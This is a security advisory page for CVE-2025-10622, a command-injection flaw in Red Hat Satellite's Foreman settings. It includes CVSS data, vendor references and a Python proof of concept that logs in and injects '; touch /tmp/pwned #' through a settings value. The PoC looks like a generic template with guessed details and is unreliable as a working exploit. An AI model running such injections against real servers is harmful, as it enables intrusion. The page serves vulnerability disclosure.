Security Vulnerability Report
中文
CVE-2025-10622 CVSS 8.0 HIGH

CVE-2025-10622

Published: 2025-11-05 08:15:33
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Red Hat Satellite (Foreman component). This vulnerability allows an authenticated user with edit_settings permissions to achieve arbitrary command execution on the underlying operating system via insufficient server-side validation of command whitelisting.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Red Hat Satellite 6.11
Red Hat Satellite 6.12
Red Hat Satellite 6.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10622 PoC - Red Hat Satellite Command Injection # Requirements: Valid account with edit_settings permission import requests import json TARGET = "https://satellite.example.com" USERNAME = "attacker" PASSWORD = "password" def login(): """Authenticate and get session cookie""" session = requests.Session() login_url = f"{TARGET}/users/login" data = { "username[login]": USERNAME, "password": PASSWORD } session.post(login_url, data=data) return session def exploit(session): """Inject malicious command via settings parameter""" settings_url = f"{TARGET}/settings" # Malicious payload - injects command via setting parameter # Replace 'id' with actual setting ID payload = { "setting": { "id": 1, "value": "; touch /tmp/pwned #" } } response = session.put(settings_url, json=payload) return response.status_code == 200 if __name__ == "__main__": print("[*] CVE-2025-10622 PoC") print("[*] Target:", TARGET) session = login() if exploit(session): print("[+] Command injection successful") print("[+] Check /tmp/pwned on target system") else: print("[-] Exploitation failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10622", "sourceIdentifier": "[email protected]", "published": "2025-11-05T08:15:32.990", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Red Hat Satellite (Foreman component). This vulnerability allows an authenticated user with edit_settings permissions to achieve arbitrary command execution on the underlying operating system via insufficient server-side validation of command whitelisting."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:19721", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19832", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19855", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19856", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-10622", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2396020", "source": "[email protected]"}, {"url": "https://theforeman.org/security.html#2025-10622", "source": "[email protected]"}]}}